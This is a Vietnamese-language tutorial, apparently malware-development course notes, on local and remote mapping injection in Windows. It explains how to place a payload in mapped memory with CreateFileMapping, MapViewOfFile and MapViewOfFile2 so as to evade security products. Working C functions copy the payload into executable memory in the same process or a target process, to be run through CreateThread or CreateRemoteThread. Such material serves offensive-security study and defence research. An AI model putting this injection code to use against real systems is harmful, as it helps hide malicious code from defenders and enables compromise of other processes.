Mapped Memory

Khi sử dụng VirtualAllocVirtualAllocEx để cấp phát vùng nhớ, kiểu vùng nhớ được cấp phát sẽ là private như trong hình bên dưới:

Tuy nhiên, việc cấp phát vùng nhớ private thường được giám sát chặt chẽ bởi các giải pháp bảo mật. Để né tránh sự phát hiện, chúng ta cần sử dụng một loại vùng nhớ khác là mapped memory (vùng nhớ ánh xạ) bằng cách sử dụng các hàm chẳng hạn như CreateFileMappingMapViewOfFile.

Vùng nhớ ánh xạ sau khi được cấp phát sẽ có kiểu là “Mapped: Commit” khi được xem bởi Process Hacker như sau:

Note

Hàm VirtualProtect và hàm VirtualProtectEx không thể thay đổi chế độ bảo vệ của vùng nhớ ánh xạ.

Local Mapping Injection

CreateFileMapping

Hàm này giúp tạo ra một đối tượng file mapping cho phép truy cập vào nội dung của file thông qua kỹ thuật memory mapping (là một kỹ thuật cho phép ánh xạ nội dung của file vào không gian bộ nhớ ảo của tiến trình hiện tại nhằm tối ưu các thao tác đọc và ghi file). Cụ thể hơn, đối tượng này cho phép tiến trình có thể tạo ra không gian bộ nhớ ảo để ánh xạ nội dung của file trên disk hoặc của một vùng nhớ khác.

Nguyên mẫu của hàm CreateFileMapping:

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // Not Required - NULL
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,           // Not Required - NULL
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName                       // Not Required - NULL   
);

Giá trị trả về của hàm là handle đến file mapping object.

Giải thích về các tham số mà ta sẽ dùng:

  • hFile: là handle của file mà ta cần ánh xạ nội dung. Do không cần ánh xạ file nào, ta có thể truyền INVALID_HANDLE_VALUE. Giá trị này được Microsoft giải thích như sau:

    If `hFile` is `INVALID_HANDLE_VALUE`, the calling process must also specify a size for the file mapping object in the `dwMaximumSizeHigh` and `dwMaximumSizeLow` parameters. In this scenario, `CreateFileMapping` creates a file mapping object of a specified size that is backed by the system paging file instead of by a file in the file system.

    Nói cách khác, bằng cách sử dụng flag này, ta có thể tạo ra một mapped memory mà không cần sử dụng một file có trên disk. Thay vào đó, file mapping object sẽ được tạo ra ở trong bộ nhớ với kích thước được chỉ định thông qua tham số dwMaximumSizeHigh hoặc dwMaximumSizeLow.

  • flProtect: chỉ định chế độ bảo vệ của file mapping object. Chúng ta sẽ sử dụng giá trị PAGE_EXECUTE_READWRITE để có thể ghi và thực thi payload. Chú ý rằng việc sử dụng giá trị này không đồng nghĩa với việc tạo ra một vùng nhớ RWX mà thay vào đó là chỉ định rằng chúng ta có thể tạo ra vùng nhớ có quyền đó sau.

  • dwMaximumSizeLow: kích thước của file mapping object. Chúng ta sẽ truyền vào kích thước của payload.

Note

Hàm CreateFileMapping không ánh xạ file vào không gian địa chỉ của tiến trình mà nó chỉ chuẩn bị file để ánh xạ.

MapViewOfFile

Hàm này sẽ ánh xạ một góc nhìn (view) của file mapping object vào không gian địa chỉ của một tiến trình. Nó sẽ nhận vào handle của file mapping object kèm các quyền truy cập mong muốn và trả về một con trỏ tới vùng nhớ được ánh xạ.

Nguyên mẫu của hàm MapViewOfFile:

LPVOID MapViewOfFile(
  [in] HANDLE     hFileMappingObject,
  [in] DWORD      dwDesiredAccess,
  [in] DWORD      dwFileOffsetHigh,           // Not Required - NULL
  [in] DWORD      dwFileOffsetLow,            // Not Required - NULL
  [in] SIZE_T     dwNumberOfBytesToMap
);

Giải thích 3 tham số cần thiết mà ta sẽ dùng:

  • hFileMappingObject: handle đến file mapping object.
  • dwDesiredAccess: quyền truy cập mong muốn mà sẽ được dùng để xác định chế độ bảo vệ của trang bộ nhớ mà hệ điều hành sẽ tạo ra. Chúng ta sẽ sử dụng cờ FILE_MAP_EXECUTEFILE_MAP_WRITE để có thể ghi và thực thi payload. Nếu sử dụng PAGE_READWRITE khi gọi hàm CreateFileMapping và sử dụng FILE_MAP_EXECUTE khi gọi hàm MapViewOfFile thì sẽ gây ra lỗi do chúng ta đang cố gắng tạo ra vùng nhớ có thể thực thi được từ một file mapping object handle chỉ có quyền đọc và ghi.
  • dwNumberOfBytesToMap: ta sẽ truyền vào kích thước của payload.

Local Mapping Injection Function

Ta sẽ xây dựng hàm LocalMapInject có nguyên mẫu như sau:

BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress);

Với pPayload là con trỏ đến vùng nhớ tạm chứa payload, sPayloadSize là kích thước payload và ppAddress là con trỏ đến vùng nhớ chứa địa chỉ của payload mà ta sẽ trả về.

Gọi sử dụng CreateFileMappingMapViewOfFile để cấp phát vùng nhớ như sau:

// Create a file mapping handle with RWX memory permissions
// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call  
hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
	printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}
 
// Maps the view of the payload to the memory 
pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
if (pMapAddress == NULL) {
	printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}

Sao chép payload vào vùng nhớ vừa tạo và trả về con trỏ chứa địa chỉ (con trỏ 2 chiều):

// Copying the payload to the mapped memory
memcpy(pMapAddress, pPayload, sPayloadSize);
 
_EndOfFunction:
	*ppAddress = pMapAddress;
	if (hFile)
		CloseHandle(hFile);
	return bSTATE;

Sau đó, ta có thể sử dụng hàm CreateThread để thực thi payload (xem lại Local Payload Execution).

UnmapViewOfFile

Hàm này được dùng để unmap mapped memory đã được ánh xạ và chỉ nên được gọi sau khi payload đã được thực thi xong. Hàm UnmapViewOfFile chỉ yêu cầu truyền vào địa chỉ cơ sở trỏ đến một view của file mapping object (là biến pMapAddress trong đoạn code trên).

Remote Mapping Injection

Các bước để thực hiện remote mapping injection:

  1. Sử dụng CreateFileMapping để tạo ra file mapping object.
  2. Sử dụng MapViewOfFile để ánh xạ file mapping object vào vùng nhớ của tiến trình hiện tại.
  3. Sao chép payload vào vùng nhớ ánh xạ của tiến trình hiện tại.
  4. Sử dụng MapViewOfFile2 để ánh xạ file mapping object vào vùng nhớ của tiến trình từ xa (payload cũng sẽ được sao chép).

Có thể thấy, 3 bước đầu tiên của kỹ thuật này tương tự với local mapping injection.

MapViewOfFile2

Hàm MapViewOfFile2 sẽ ánh xạ một view của file mapping object vào không gian bộ nhớ được chỉ định, mà cụ thể là của tiến trình từ xa. Nguyên mẫu hàm:

PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,   // Handle to the file mapping object returned by CreateFileMappingA/W
  [in]           HANDLE  ProcessHandle,       // Target process handle
  [in]           ULONG64 Offset,              // Not required - NULL
  [in, optional] PVOID   BaseAddress,         // Not required - NULL
  [in]           SIZE_T  ViewSize,            // Not required - NULL
  [in]           ULONG   AllocationType,      // Not required - NULL
  [in]           ULONG   PageProtection       // The desired page protection.
);

Giải thích các tham số mà ta sẽ sử dụng:

  • FileMappingHandle: handle của file mapping object có chứa payload mà ta cần ánh xạ vào tiến trình từ xa.
  • ProcessHandle: handle của tiến trình từ xa. Handle này cần có access mask1PROCESS_VM_OPERATION.
  • PageProtection: chế độ bảo vệ của vùng nhớ ánh xạ ở trong tiến trình từ xa.

Note

Chúng ta không cần phải tạo ra vùng nhớ ánh xạ ở tiến trình hiện tại với quyền thực thi do payload sẽ được thực thi ở trong tiến trình mục tiêu. Vì thế, ta sẽ sử dụng cờ FILE_MAP_WRITE khi gọi hàm MapViewOfFile.

Hàm MapViewOfFile2 sử dụng chung một file mapping object handle với hàm MapViewOfFile nên bất kỳ sự thay đổi nào xảy ra với payload ở tiến trình hiện tại đều được ánh xạ vào tiến trình từ xa. Điều này là hữu ích trong trường hợp ta cần thực thi payload đã bị mã hóa. Khi đó, ta có thể ánh xạ payload vào tiến trình từ xa nhưng giải mã nó ở tiến trình hiện tại và cập nhật trên vùng nhớ của tiến trình hiện tại.

Remote Mapping Injection Function

Tương tự với Local Mapping Injection, ta sẽ xây dựng hàm để hiện thực remote mapping injection với các tham số lần lượt là: con trỏ đến payload, kích thước payload và con trỏ chứa địa chỉ của payload mà ta sẽ trả về. Tuy nhiên, ta sẽ có thêm một tham số là handle của tiến trình từ xa.

Nguyên mẫu hàm:

BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress);

Trước tiên, ta sẽ thực hiện các bước tương tự với local mapping injection:

// Create a file mapping handle with RWX memory permissions
// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call  
hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
	printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}
 
// Maps the view of the payload to the memory 
pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
if (pMapLocalAddress == NULL) {
	printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}
 
// Copying the payload to the mapped memory
memcpy(pMapLocalAddress, pPayload, sPayloadSize);

Sau đó, ánh xạ file mapping object của tiến trình vào tiến trình từ xa để tạo vùng nhớ cũng như là sao chép payload:

// Maps the payload to a new remote buffer in the target process
pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
if (pMapRemoteAddress == NULL) {
	printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}

Con trỏ đến địa chỉ mà ta muốn trả về sẽ là địa chỉ của vùng nhớ ánh xạ mà ta đã tạo ở trong tiến trình từ xa:

_EndOfFunction:
	*ppAddress = pMapRemoteAddress;
	if (hFile)
		CloseHandle(hFile);
	return; 

Warning

Việc gọi hàm UnmapViewOfFile khi payload còn đang chạy ở trong tiến trình từ xa có thể gây ra crash tiến trình từ xa.

Sau đó, ta có thể sử dụng hàm CreateRemoteThread để thực thi payload (xem lại Process Injection).

Resources

Footnotes

  1. là tập hợp các access right, vốn là các bit quy định quyền truy cập. Xem thêm Access Rights and Access Masks - Win32 apps | Microsoft Learn.